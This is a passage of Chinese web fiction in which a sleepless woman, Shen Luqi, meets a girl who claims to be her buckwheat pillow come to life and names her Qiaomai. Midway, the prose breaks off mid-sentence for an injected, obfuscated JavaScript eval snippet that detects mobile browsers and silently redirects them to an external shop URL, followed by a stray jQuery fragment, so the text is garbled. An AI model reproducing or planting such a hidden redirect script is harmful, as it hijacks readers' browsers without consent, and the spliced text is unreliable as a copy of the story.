沈鹿栖没有睡着。
她闭着眼睛，但意识清醒得像一汪被搅动过的水，怎么也沉淀不下来。天花板上有七条裂缝，从灯的位置延伸到窗户的方向，她闭着眼睛也能在脑子里画出它们的走向。第一条最粗，到中间分了个岔；第三条最细，像头发丝；第七条只有一半，到了墙角就断了。
她在脑子里把七条裂缝又数了一遍。
然后感觉到了。
不是声音。她侧着耳朵听了一会儿，房间里安安静静的，只有自己的呼吸声和远处偶尔传来的车声。
是温度。
有什么东西在靠近。不是暖水袋那种局部的热，是更大面积的，更均匀的，像整个人被一团温热的空气包裹起来。从脚的方向开始，沿着小腿慢慢往上蔓延，经过膝盖、大腿、腰。
沈鹿栖的手指动了一下。她没有睁开眼睛。
还有一种气味。
说不上来是什么。不难闻，不是香水味，不是洗衣液的味道，更像一种很久以前闻到过的东西，久到她已经忘了是什么时候、在什么地方。她在脑子里搜索了一会儿，搜索到了一个画面：小时候在外婆家，夏天的午后，外婆把枕头拿到院子里晒。枕头是荞麦皮的，晒过以后蓬蓬的，她把脸埋进去，闻到一股暖烘烘的、说不出名字的气味。
就是这个味道。
她睁开眼。
黑暗中，有一个轮廓趴在她身上。
很近。近到她能感觉到对方的呼吸打在自己的下巴上，很浅，很均匀，像睡着了的人才有的那种呼吸。
圆脸。闭着眼睛。头发散下来，有几缕落在沈鹿栖的锁骨上，痒痒的，像小虫子在爬。
沈鹿栖的第一反应不是尖叫。
她后来回想起来，觉得自己大概是累到连恐惧都要排队才能轮到。当时她脑子里转过的第一个念头是：这个人压到她头发了。
有一缕头发被这个人的肩膀压住了。不疼，但扯着头皮，有一种持续的、细微的拉拽感。
她伸手推了一下那个人的肩膀。
手碰到肩膀的一瞬间，她的手指缩了一下。
那个触感不对。不是皮肤。也不是布料。更像……更像什么？她形容不出来。按下去有一种微微的弹性，比肉软，比棉花硬，松开以后慢慢弹回来。温度比人的体温低一点，不算凉，但摸起来不太一样。
那个人动了一下。嘴里嘟囔了一句什么，没听清，然后把脸往沈鹿栖的颈窝里埋了埋。
一股荞麦壳的气味扑过来。浓的，暖的，和刚才闻到的一模一样。
沈鹿栖盯着天花板。她的手还搭在那个人的肩膀上，没有拿开。
她脑子里转过一个非常平静的念头：我大概是终于疯了。
---
她坐起来。
动作有点猛，把那个人从身上抖了下去。那个人翻了个身，滚到床的另一边，胳膊腿摊开，仰面朝天，还是没醒。嘴微微张着，呼吸依然很浅很均匀。
沈鹿栖伸手够到床头灯的开关，按下去。
灯光亮了。橘黄色的，不太亮，但足够看清床上那个人的全貌。
圆脸。看起来二十出头，比她矮半个头。穿着一件白色的……不是衣服。她看了好一会儿才意识到那不是一件正常的衣服，更像一块布料裹在身上，没有扣子，没有拉链，边缘参差不齐，像被撕开的。
皮肤偏暖色。但不太对劲。太均匀了。没有毛孔，没有雀斑，没有那种人类皮肤在灯光下会有的细微起伏和色差。像一块打磨过的木头，光滑，但少了点什么。
头发是深棕色，散在枕头上。
那朵歪花的枕面上。
沈鹿栖的目光从那个人的脸，移到枕头，又从枕头，移回那个人的脸。
枕面上那朵花还在。歪歪扭扭的，针脚大小不一。那个人的脸旁边就是那朵花，头发丝和绣花的线头混在一起。
那个人醒了。
眼睛睁开的一瞬间，很亮。不是那种刚睡醒的惺忪，是像有人在瞳孔后面点了一盏灯，一下子亮起来。她眨了两下眼，睫毛扇了两下，看到沈鹿栖，笑了一下。
有梨涡。左边一个，右边一个，陷得不深，但很明显。
她开口说了第一句话。
"你终于开灯了。我刚才一直想帮你开，但是我够不到开关。"
声音比沈鹿栖预想的要轻，带着一点鼻音，像刚哭过的人说话的那种含糊。
沈鹿栖张了张嘴。
没发出声音。
她盯着那张脸看了大概五秒钟。圆脸，梨涡，亮眼睛，歪花枕头上散着的深棕色头发。
然后她问了一个她自己都觉得荒谬的问题。
"你是谁？"
那个人歪了一下头。不是那种表演式的歪头，是真的在认真思考这个问题该怎么回答。她的眼睛往左上方看了一眼，又看回来，嘴唇动了两下，像在组织语言。
然后她说：
"我是你的枕头。"
---
沈鹿栖坐在床上，背靠着墙，被子拉到腰的位置。她没有相信。也没有不信。她只是坐在那里，用一种"我在处理一件超出我理解范围的事情但我不想表现出来"的表情看着对面那个人。
那个人盘腿坐在床的另一头，两只手放在膝盖上，坐姿很乖，像幼儿园小朋友等家长来接。她一直在笑，梨涡就没消过。
"你不信。"她说，语气很确定，不像在问。
沈鹿栖没回答。
"你不信的话……你摸一下枕面。有一朵花，歪的。"
沈鹿栖的目光移到枕面上。那朵花确实在。
"你知道为什么歪吗？因为缝它的那个人手抖。她缝了很久，手指被针扎了好多次。"
那个人说这句话的时候，语气很平，像在陈述一个事实。不是在卖惨，不是在讲故事，就是在说"枕面上有一朵花"。
沈鹿栖没有去摸枕头。她盯着那个人的脸，盯着她的梨涡，盯着她笑起来的时候眼睛弯成的弧度。
然后她闻到了。
那股气味。从那个人的身上散发出来，和刚才趴在她身上的时候一模一样。荞麦壳的气味。不是超市里卖的那种工业荞麦枕的气味，是更老的，更温暖的，更像记忆的。
像外婆家。
沈鹿栖的鼻子动了一下。她把被子拉起来，裹在身上，缩到床的角落里，后背贴着墙，和那个人保持了一个手臂的距离。
那个人看着她做这些动作，没动，还是笑。
"你叫什么？"沈鹿栖开口。声音有点哑。
"我……"那个人的笑容收了一下，很短暂，像灯泡闪了一下，"我不记得了。"
"不记得？"
"嗯。以前有人叫过我，但我忘了。名字这种东西……太容易忘了。"
她说这句话的时候，眼神飘了一下，看向窗户的方向，像在看一个很远的地方。很快又收回来了，重新落在沈鹿栖身上，笑容回来了。
沈鹿栖盯着她看了很久。
房间很安静。窗外偶尔有车经过，灯光在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814703|211004||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
天花板上拉一道弧线，然后消失。那个人坐在灯光下，深棕色的头发搭在肩膀上，皮肤在橘黄色的灯光里显得更暖了。
"荞麦。"沈鹿栖开口。
"嗯？"那个人歪头。
"你身上有荞麦味。叫你荞麦吧。"
那个人愣了一下。笑容没了，但不是不高兴的那种没了，更像是被什么东西击中了，停顿在那里，表情空白了大概两秒钟。
然后她笑了。笑得比刚才大，梨涡陷得很深，眼睛弯成了两条缝。
"好。"
---
天亮了。
窗帘的遮光效果不算好，边缘漏进来一道细细的光，落在地板上，像用金色的笔画了一条线。光线慢慢移动，从地板爬到了床脚。
沈鹿栖没有睡觉。她裹着被子缩在床的角落里，后背靠着墙，眼睛睁着，看着对面那个叫荞麦的……东西。
荞麦坐在床的另一头，盘着腿，两只手撑在膝盖上，下巴搁在手背上。她一直在看窗户的方向。光从窗帘缝隙里漏进来的时候，她的头跟着光线的移动慢慢转，像向日葵追着太阳。
"好亮。"她小声说了一句，声音里带着一种沈鹿栖没听过的语气。不是感叹，不是惊讶，更像第一次看到某种东西的人会发出的那种本能反应。
沈鹿栖看着她。
她不确定自己是在观察还是在防备。大概两者都有。这个东西出现在她的床上，自称是她的枕头，身上散发着荞麦壳的气味，皮肤的触感不像人，笑容倒是像人，但笑的理由她完全搞不懂。
一个正常人遇到这种事应该怎么做？报警？搬家？去找个道士？
她什么都没做。她只是坐在那里，看着。
大概是太累了。累到连处理异常事件的力气都没有。
"你……"她开口，声音比自己预想的更哑，"能不能先从我床上下来？"
荞麦转过头来看她。头歪了一下。
"为什么？"
"因为……"沈鹿栖停了一下。她想找个合理的理由，但脑子里转了一圈，只找到一个最简单的，"因为这是我的床。"
荞麦看了看床，看了看沈鹿栖，又看了看床。
"可是我是枕头。"她的语气很认真，像在解释一个显而易见的事实，"枕头就应该在床上。"
沈鹿栖的嘴角动了一下。
不是笑。是嘴角的肌肉抽了一下。但那个弧度，往上翘了一点点，连她自己都没注意到。
荞麦注意到了。
她的眼睛亮了一下，像有人在瞳孔后面又拨了一下开关。
"你在笑吗？"荞麦凑近了一点。
"没有。"沈鹿栖把脸转开，"抽筋。"
荞麦盯着她看了两秒钟，没拆穿。她重新坐回去，盘好腿，下巴搁回手背上，继续看窗户。
光已经从床脚爬到了床中间。那朵歪花在光线里显得更清楚了，针脚的纹路一根一根的。
沈鹿栖的目光从荞麦的背影，移到枕面上那朵花，又移回荞麦的深棕色头发。
她用舌头舔了一下嘴唇。嘴唇很干，舔了以后更干了。
"荞麦。"
"嗯？"荞麦回头。
"你真的是枕头？"
"嗯。"
"……我信了。"
不是真的信了。是太累了，没有力气不信。但那股荞麦壳的气味一直在房间里飘着，暖暖的，像外婆家院子里晒过的枕头。
她已经三年没有闻到过这种气味了。